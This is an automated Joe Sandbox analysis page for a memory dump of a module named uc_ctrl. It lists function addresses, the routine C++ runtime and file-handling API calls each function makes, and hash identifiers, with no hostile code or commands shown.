Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: H_prolog3_U?$char_traits@V?$istreambuf_iterator@$?getloc@ios_base@std@@G@std@@@2@1G@std@@@std@@@std@@Getifld@?$num_get@StollxStoullxVlocale@2@Vlocale@2@@isspacestd::locale::localestd::locale::~locale
String ID:
API String ID: 4200348380-0
Opcode ID: 27e7eb902d79ee14cf4ee7473ce5261c67fe55afd3ed175d054b5aa335ee57a4
Instruction ID: b27faf9d455fa35cb7fbb7a021e2b1adf9b655ccdae6d394fb8a759b95015133
Opcode Fuzzy Hash: 27e7eb902d79ee14cf4ee7473ce5261c67fe55afd3ed175d054b5aa335ee57a4
Instruction Fuzzy Hash: 33214C75900219EFCF05CF94D980AEEB7B8FF08314F05415AF915E7254EBB09A05CBA1

Function 6D1A8EE0 Relevance: 7.6, APIs: 5, Instructions: 64COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 6D1A8EE7
?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,?,?,?,?,?,?,?,?,?,?,?,?,0000003C), ref: 6D1A8F0A

Part of subcall function 6D1A44C0: std::locale::locale.LIBCPMT ref: 6D1A44C9

?_Getifld@?$num_get@DV?$istreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@ABAHPADAAV?$istreambuf_iterator@DU?$char_traits@D@std@@@2@1HABVlocale@2@@Z.MSVCP140(?,?,?,?,?,00000000,00000000), ref: 6D1A8F28

Part of subcall function 6D1AA400: __EH_prolog3_GS.LIBCMT ref: 6D1AA407

_Stoullx.MSVCP140(?,?,00000000), ref: 6D1A8F39

Part of subcall function 6D19E7E0: isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?), ref: 6D19E805
Part of subcall function 6D19E7E0: tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,00000010), ref: 6D19E8A6
Part of subcall function 6D19E7E0: memchr.VCRUNTIME140(0123456789abcdefghijklmnopqrstuvwxyz,00000000), ref: 6D19E8B8
Part of subcall function 6D19E7E0: tolower.API-MS-WIN-CRT-STRING-L1-1-0(?,00000010,?,?,?,00000000), ref: 6D19E90A

std::locale::~locale.LIBCPMT ref: 6D1A8F4C

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: H_prolog3_U?$char_traits@V?$istreambuf_iterator@tolower$?getloc@ios_base@std@@D@std@@@2@1D@std@@@std@@@std@@Getifld@?$num_get@StoullxVlocale@2@Vlocale@2@@isspacememchrstd::locale::localestd::locale::~locale
String ID:
API String ID: 563252122-0
Opcode ID: 4599d5fe5bc7e1d65e109fd389750b92a11870eb98082c41f6ff65572d1ce22d
Instruction ID: ce79084f001aa6dd9b808e1e192e46b1150f96575777c426cb2a470c05b7e231
Opcode Fuzzy Hash: 4599d5fe5bc7e1d65e109fd389750b92a11870eb98082c41f6ff65572d1ce22d
Instruction Fuzzy Hash: 86214C75900219EFCF05DF94D980AEEB7B9FF08314F05415AF915E7254EBB0AA05CBA1

Function 6D1A6C00 Relevance: 7.6, APIs: 5, Instructions: 63fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,00000100,00000007,00000000,00000003,00000000,00000000), ref: 6D1A6C24
___crtGetFileInformationByHandleEx.LIBCPMT(00000000,00000000,?,00000028), ref: 6D1A6C3D
CloseHandle.KERNEL32(00000000), ref: 6D1A6C4A
___crtGetFileInformationByHandleEx.LIBCPMT(00000000,00000000,?,00000028), ref: 6D1A6C71
CloseHandle.KERNEL32(00000000), ref: 6D1A6C81

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: Handle$File$CloseInformation___crt$Create
String ID:
API String ID: 2164624149-0
Opcode ID: e0940a4e5bff90cadfb460e0fa7c5380197c80d07108d2d8e261556dc8a4b33a
Instruction ID: c2291076b5a6c9a3ede3a30dbb7bc83c000ba3671fea128d5100873cbcd7c2fe
Opcode Fuzzy Hash: e0940a4e5bff90cadfb460e0fa7c5380197c80d07108d2d8e261556dc8a4b33a
Instruction Fuzzy Hash: 8F110635A05118BBDB119AB9EC49FBF7FBCEB06760F418115FE19D2284EBB4850186E1

Function 6D1C23A0 Relevance: 7.6, APIs: 5, Instructions: 63COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 6D1C23A7

Part of subcall function 6D1BFE3E: __EH_prolog3.LIBCMT ref: 6D1BFE45
Part of subcall function 6D1BFE3E: ?_Ipfx@?$basic_istream@GU?$char_traits@G@std@@@std@@QAE_N_N@Z.MSVCP140(?,00000004,6D1C1749,?,00000001,00000008), ref: 6D1BFE7A

?sgetc@?$basic_streambuf@_WU?$char_traits@_W@std@@@std@@QAEGXZ.MSVCP140(?,?,?,?,?,?,?,?,00000018), ref: 6D1C23E3
?sputc@?$basic_streambuf@_WU?$char_traits@_W@std@@@std@@QAEG_W@Z.MSVCP140(?,?,?,?,?,?,?,?,?,00000018), ref: 6D1C2409
?snextc@?$basic_streambuf@_WU?$char_traits@_W@std@@@std@@QAEGXZ.MSVCP140(?,?,?,?,?,?,?,?,?,00000018), ref: 6D1C2434
?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(00000000,00000000,?,?,?,?,?,?,?,?,00000018), ref: 6D1C245E

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: U?$char_traits@_W@std@@@std@@$?setstate@?$basic_ios@_?sgetc@?$basic_streambuf@_?snextc@?$basic_streambuf@_?sputc@?$basic_streambuf@_G@std@@@std@@H_prolog3H_prolog3_catchIpfx@?$basic_istream@U?$char_traits@
String ID:
API String ID: 2573136042-0
Opcode ID: dc9734fe8d8e6efe3cf811353d04b1cd657fa6d3ffabcd646ec39fe9d026f944
Instruction ID: f8597a58d12254140a79ba97a60d2b133ed5e28b9522953c4361ba3928954a8c
Opcode Fuzzy Hash: dc9734fe8d8e6efe3cf811353d04b1cd657fa6d3ffabcd646ec39fe9d026f944
Instruction Fuzzy Hash: FF210834909255DFCB11CB58C5547FDBBF0AF26308F114069D549AB286CBF89E46C792

Function 6D1C6D30 Relevance: 7.6, APIs: 5, Instructions: 62COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 6D1C6D37

Part of subcall function 6D1A7C64: __EH_prolog3.LIBCMT ref: 6D1A7C6B
Part of subcall function 6D1A7C64: ?flush@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV12@XZ.MSVCP140(00000008,6D1A7BA3,?,?,?,?,?,?,0000000C,6D1A7B7C,?,6D1A4238,?,969FB934,?,6D1CBDA0), ref: 6D1A7CB7

?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,?,?,?,?,?,?,?,?,0000002C), ref: 6D1C6D67

Part of subcall function 6D1A44C0: std::locale::locale.LIBCPMT ref: 6D1A44C9

Part of subcall function 6D1AB058: __EH_prolog3.LIBCMT ref: 6D1AB05F
Part of subcall function 6D1AB058: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6D1A800B,0000000C,6D1A8148,?,0000003F,?,00000000,0000003C,6D1A1A8E,?,?,?,00000004), ref: 6D1AB06A
Part of subcall function 6D1AB058: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,00000004), ref: 6D1AB082
Part of subcall function 6D1AB058: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,00000004), ref: 6D1AB0E6

std::locale::~locale.LIBCPMT ref: 6D1C6D7D
?put@?$num_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QBE?AV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@AAVios_base@2@_WN@Z.MSVCP140(?,00000000,?,00000002,?,?,?,00000002,00000002), ref: 6D1C6DB0
?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(00000000,00000000,?,?,?,?,?,?,?,?,?,0000002C), ref: 6D1C6DFD

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: U?$char_traits@_$H_prolog3V?$ostreambuf_iterator@_W@std@@@std@@$??1_?flush@?$basic_ostream@_?getloc@ios_base@std@@?put@?$num_put@_?setstate@?$basic_ios@_Bid@locale@std@@H_prolog3_catchLockit@std@@V12@V32@Vios_base@2@_Vlocale@2@W@std@@@2@W@std@@@std@@@std@@_lock_localesstd::locale::localestd::locale::~locale
String ID:
API String ID: 2951709258-0
Opcode ID: 4b41651586867c41147d9c67b29aafd45fb2dc6c429af039a6f99cb32e861c45
Instruction ID: ecd7b2bdc5bf9cdc14d6ea34fc18d10b9cb85148f4949852bc4bea230e847f11
Opcode Fuzzy Hash: 4b41651586867c41147d9c67b29aafd45fb2dc6c429af039a6f99cb32e861c45
Instruction Fuzzy Hash: C121C375904248AFCF05DBA8C850BFDBFB0AF19308F19408DE28567285DBB55A05CBA1

Function 6D1C6C40 Relevance: 7.6, APIs: 5, Instructions: 62COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 6D1C6C47

Part of subcall function 6D1A7C64: __EH_prolog3.LIBCMT ref: 6D1A7C6B
Part of subcall function 6D1A7C64: ?flush@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV12@XZ.MSVCP140(00000008,6D1A7BA3,?,?,?,?,?,?,0000000C,6D1A7B7C,?,6D1A4238,?,969FB934,?,6D1CBDA0), ref: 6D1A7CB7

?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,?,?,?,?,?,?,?,?,0000002C), ref: 6D1C6C77

Part of subcall function 6D1A44C0: std::locale::locale.LIBCPMT ref: 6D1A44C9

Part of subcall function 6D1AB058: __EH_prolog3.LIBCMT ref: 6D1AB05F
Part of subcall function 6D1AB058: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6D1A800B,0000000C,6D1A8148,?,0000003F,?,00000000,0000003C,6D1A1A8E,?,?,?,00000004), ref: 6D1AB06A
Part of subcall function 6D1AB058: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,00000004), ref: 6D1AB082
Part of subcall function 6D1AB058: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,00000004), ref: 6D1AB0E6

std::locale::~locale.LIBCPMT ref: 6D1C6C8D
?put@?$num_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QBE?AV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@AAVios_base@2@_WO@Z.MSVCP140(?,00000000,?,00000002,?,?,?,00000002,00000002), ref: 6D1C6CC0
?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(00000000,00000000,?,?,?,?,?,?,?,?,?,0000002C), ref: 6D1C6D0D

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: U?$char_traits@_$H_prolog3V?$ostreambuf_iterator@_W@std@@@std@@$??1_?flush@?$basic_ostream@_?getloc@ios_base@std@@?put@?$num_put@_?setstate@?$basic_ios@_Bid@locale@std@@H_prolog3_catchLockit@std@@V12@V32@Vios_base@2@_Vlocale@2@W@std@@@2@W@std@@@std@@@std@@_lock_localesstd::locale::localestd::locale::~locale
String ID:
API String ID: 2951709258-0
Opcode ID: 7b8dccea0b177cff555869ca23740e434e9cd42baad0d995786f41b938411337
Instruction ID: 2de338547903fa36cdb785870a7620095bc51252b069ec693d1b1e0f032f6cb6
Opcode Fuzzy Hash: 7b8dccea0b177cff555869ca23740e434e9cd42baad0d995786f41b938411337
Instruction Fuzzy Hash: 6821D575D04248AFCF05DFA8C854BFDBFB0AF19308F19408DE281A7285CBB55A05CBA5

Function 6D1C6E20 Relevance: 7.6, APIs: 5, Instructions: 62COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 6D1C6E27

Part of subcall function 6D1A7C64: __EH_prolog3.LIBCMT ref: 6D1A7C6B
Part of subcall function 6D1A7C64: ?flush@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV12@XZ.MSVCP140(00000008,6D1A7BA3,?,?,?,?,?,?,0000000C,6D1A7B7C,?,6D1A4238,?,969FB934,?,6D1CBDA0), ref: 6D1A7CB7

?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,?,?,?,?,?,?,?,?,0000002C), ref: 6D1C6E57

Part of subcall function 6D1A44C0: std::locale::locale.LIBCPMT ref: 6D1A44C9

Part of subcall function 6D1AB058: __EH_prolog3.LIBCMT ref: 6D1AB05F
Part of subcall function 6D1AB058: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6D1A800B,0000000C,6D1A8148,?,0000003F,?,00000000,0000003C,6D1A1A8E,?,?,?,00000004), ref: 6D1AB06A
Part of subcall function 6D1AB058: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,00000004), ref: 6D1AB082
Part of subcall function 6D1AB058: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,00000004), ref: 6D1AB0E6

std::locale::~locale.LIBCPMT ref: 6D1C6E6D
?put@?$num_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QBE?AV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@AAVios_base@2@_WN@Z.MSVCP140(?,00000000,?,00000002,?,?,?,00000002,00000002), ref: 6D1C6EA0
?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(00000000,00000000,?,?,?,?,?,?,?,?,?,0000002C), ref: 6D1C6EED

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: U?$char_traits@_$H_prolog3V?$ostreambuf_iterator@_W@std@@@std@@$??1_?flush@?$basic_ostream@_?getloc@ios_base@std@@?put@?$num_put@_?setstate@?$basic_ios@_Bid@locale@std@@H_prolog3_catchLockit@std@@V12@V32@Vios_base@2@_Vlocale@2@W@std@@@2@W@std@@@std@@@std@@_lock_localesstd::locale::localestd::locale::~locale
String ID:
API String ID: 2951709258-0
Opcode ID: 148fc4e468226641cd389445330f60654e96ce8ada05f2299af54fcacacefefe
Instruction ID: a57b18d82963eb03185cf2be79e4e1efd350caccfbe61304fbb0d643ee95c342
Opcode Fuzzy Hash: 148fc4e468226641cd389445330f60654e96ce8ada05f2299af54fcacacefefe
Instruction Fuzzy Hash: EA21D575904248AFCF05DFA8C854BFDBFB0AF29308F19408DE24167385C7B55A45CBA5

Function 6D1C2590 Relevance: 7.6, APIs: 5, Instructions: 61COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 6D1C2597

Part of subcall function 6D1BFE3E: __EH_prolog3.LIBCMT ref: 6D1BFE45
Part of subcall function 6D1BFE3E: ?_Ipfx@?$basic_istream@GU?$char_traits@G@std@@@std@@QAE_N_N@Z.MSVCP140(?,00000004,6D1C1749,?,00000001,00000008), ref: 6D1BFE7A

?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,?,?,?,?,?,?,?,?,?,00000000,0000002C), ref: 6D1C25C8

Part of subcall function 6D1A44C0: std::locale::locale.LIBCPMT ref: 6D1A44C9

Part of subcall function 6D1B9BEB: __EH_prolog3.LIBCMT ref: 6D1B9BF2
Part of subcall function 6D1B9BEB: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6D1AEAA0,00000010,6D1A80EC,?,?,?,00000000,?,?,?,00000000,?,?,?,00000000), ref: 6D1B9BFD
Part of subcall function 6D1B9BEB: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,00000004), ref: 6D1B9C15
Part of subcall function 6D1B9BEB: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,00000004), ref: 6D1B9C79

std::locale::~locale.LIBCPMT ref: 6D1C25DD
?get_time@?$time_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QBE?AV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@0AAVios_base@2@AAHPAUtm@@@Z.MSVCP140(?,?,?,00000000,?,00000001,00000002,?,?), ref: 6D1C261A
?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,?,?,?,?,?,?,?,?,?,00000000,0000002C), ref: 6D1C265D

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: U?$char_traits@_$H_prolog3V?$istreambuf_iterator@_$??1_?get_time@?$time_get@_?getloc@ios_base@std@@?setstate@?$basic_ios@_Bid@locale@std@@G@std@@@std@@H_prolog3_catchIpfx@?$basic_istream@Lockit@std@@U?$char_traits@Utm@@@V32@0Vios_base@2@Vlocale@2@W@std@@@2@W@std@@@std@@W@std@@@std@@@std@@_lock_localesstd::locale::localestd::locale::~locale
String ID:
API String ID: 3851966274-0
Opcode ID: 20f08bf02516c4c7532c18eccec4e7e8ebf885faa871a8b45ec154232d10a31f
Instruction ID: cd6721655d23675aadbae2d7b52f3a5cdbac2e66f49db57c6e6b6c0c4ea16a7b
Opcode Fuzzy Hash: 20f08bf02516c4c7532c18eccec4e7e8ebf885faa871a8b45ec154232d10a31f
Instruction Fuzzy Hash: DE21C334A04108AFCF02DFE8C854EFEBFB5AF58308F184059E205A3245DBB55A55CBA1

Function 6D1C0DA0 Relevance: 7.6, APIs: 5, Instructions: 61COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 6D1C0DA7

Part of subcall function 6D1A7C64: __EH_prolog3.LIBCMT ref: 6D1A7C6B
Part of subcall function 6D1A7C64: ?flush@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV12@XZ.MSVCP140(00000008,6D1A7BA3,?,?,?,?,?,?,0000000C,6D1A7B7C,?,6D1A4238,?,969FB934,?,6D1CBDA0), ref: 6D1A7CB7

?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,?,?,?,?,?,?,?,00000028), ref: 6D1C0DD7

Part of subcall function 6D1A44C0: std::locale::locale.LIBCPMT ref: 6D1A44C9

Part of subcall function 6D1B9C86: __EH_prolog3.LIBCMT ref: 6D1B9C8D
Part of subcall function 6D1B9C86: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6D1AEAF1,00000010,6D1A80EC,?,?,?,00000000,?,?,?,00000000,?,?,?,00000000), ref: 6D1B9C98
Part of subcall function 6D1B9C86: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,00000004), ref: 6D1B9CB0
Part of subcall function 6D1B9C86: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,00000004), ref: 6D1B9D14

std::locale::~locale.LIBCPMT ref: 6D1C0DED
?put@?$num_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QBE?AV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@AAVios_base@2@_WN@Z.MSVCP140(?,?,?,00000002,?,00000002,00000002,?,?,?,?,?,?,?,?,00000028), ref: 6D1C0E1C
?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(00000000,00000000,?,?,?,?,?,?,?,?,00000028), ref: 6D1C0E69

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: U?$char_traits@_$H_prolog3V?$ostreambuf_iterator@_W@std@@@std@@$??1_?flush@?$basic_ostream@_?getloc@ios_base@std@@?put@?$num_put@_?setstate@?$basic_ios@_Bid@locale@std@@H_prolog3_catchLockit@std@@V12@V32@Vios_base@2@_Vlocale@2@W@std@@@2@W@std@@@std@@@std@@_lock_localesstd::locale::localestd::locale::~locale
String ID:
API String ID: 2951709258-0
Opcode ID: 28a054ad3f677397ed459189fe3a120fe15311144e65507c2fd2b7cfaf206774
Instruction ID: 4c32710dd61f6a5d0d171e93bbe4e187816bcb6d3f02b315c5ab4518a523d46a
Opcode Fuzzy Hash: 28a054ad3f677397ed459189fe3a120fe15311144e65507c2fd2b7cfaf206774
Instruction Fuzzy Hash: 9B2106B5904104AFCB05DFA8C950BFDBBF4AF68308F15404DE345AB285DBB65A01CBA1

Function 6D1C2C20 Relevance: 7.6, APIs: 5, Instructions: 61COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 6D1C2C27

Part of subcall function 6D1BFE3E: __EH_prolog3.LIBCMT ref: 6D1BFE45
Part of subcall function 6D1BFE3E: ?_Ipfx@?$basic_istream@GU?$char_traits@G@std@@@std@@QAE_N_N@Z.MSVCP140(?,00000004,6D1C1749,?,00000001,00000008), ref: 6D1BFE7A

?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,?,?,?,?,?,?,?,?,?,00000000,0000002C), ref: 6D1C2C58

Part of subcall function 6D1A44C0: std::locale::locale.LIBCPMT ref: 6D1A44C9

Part of subcall function 6D1B9BEB: __EH_prolog3.LIBCMT ref: 6D1B9BF2
Part of subcall function 6D1B9BEB: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6D1AEAA0,00000010,6D1A80EC,?,?,?,00000000,?,?,?,00000000,?,?,?,00000000), ref: 6D1B9BFD
Part of subcall function 6D1B9BEB: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,00000004), ref: 6D1B9C15
Part of subcall function 6D1B9BEB: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,00000004), ref: 6D1B9C79

std::locale::~locale.LIBCPMT ref: 6D1C2C6D
?get@?$num_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QBE?AV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@0AAVios_base@2@AAHAAI@Z.MSVCP140(?,?,?,00000000,?,00000001,00000002,?,?), ref: 6D1C2CAA
?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,?,?,?,?,?,?,?,?,?,00000000,0000002C), ref: 6D1C2CED

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: U?$char_traits@_$H_prolog3V?$istreambuf_iterator@_$??1_?get@?$num_get@_?getloc@ios_base@std@@?setstate@?$basic_ios@_Bid@locale@std@@G@std@@@std@@H_prolog3_catchIpfx@?$basic_istream@Lockit@std@@U?$char_traits@V32@0Vios_base@2@Vlocale@2@W@std@@@2@W@std@@@std@@W@std@@@std@@@std@@_lock_localesstd::locale::localestd::locale::~locale
String ID:
API String ID: 3926143654-0
Opcode ID: 2406e4ed77f2c279be99097914daeccf2d1deab20dacab6b4411083d41fe3826
Instruction ID: 97562e47a2b7b956ad7459467c5f398d5ffa1e966bc76ac89fe189c8ded386dd
Opcode Fuzzy Hash: 2406e4ed77f2c279be99097914daeccf2d1deab20dacab6b4411083d41fe3826
Instruction Fuzzy Hash: 8821C074A04108AFCF02DFE4C884EFEBFB5BF58308F184059E205A3245DBB59A41CBA6

Function 6D1C24A0 Relevance: 7.6, APIs: 5, Instructions: 61COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 6D1C24A7

Part of subcall function 6D1BFE3E: __EH_prolog3.LIBCMT ref: 6D1BFE45
Part of subcall function 6D1BFE3E: ?_Ipfx@?$basic_istream@GU?$char_traits@G@std@@@std@@QAE_N_N@Z.MSVCP140(?,00000004,6D1C1749,?,00000001,00000008), ref: 6D1BFE7A

?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,?,?,?,?,?,?,?,?,?,00000000,0000002C), ref: 6D1C24D8

Part of subcall function 6D1A44C0: std::locale::locale.LIBCPMT ref: 6D1A44C9

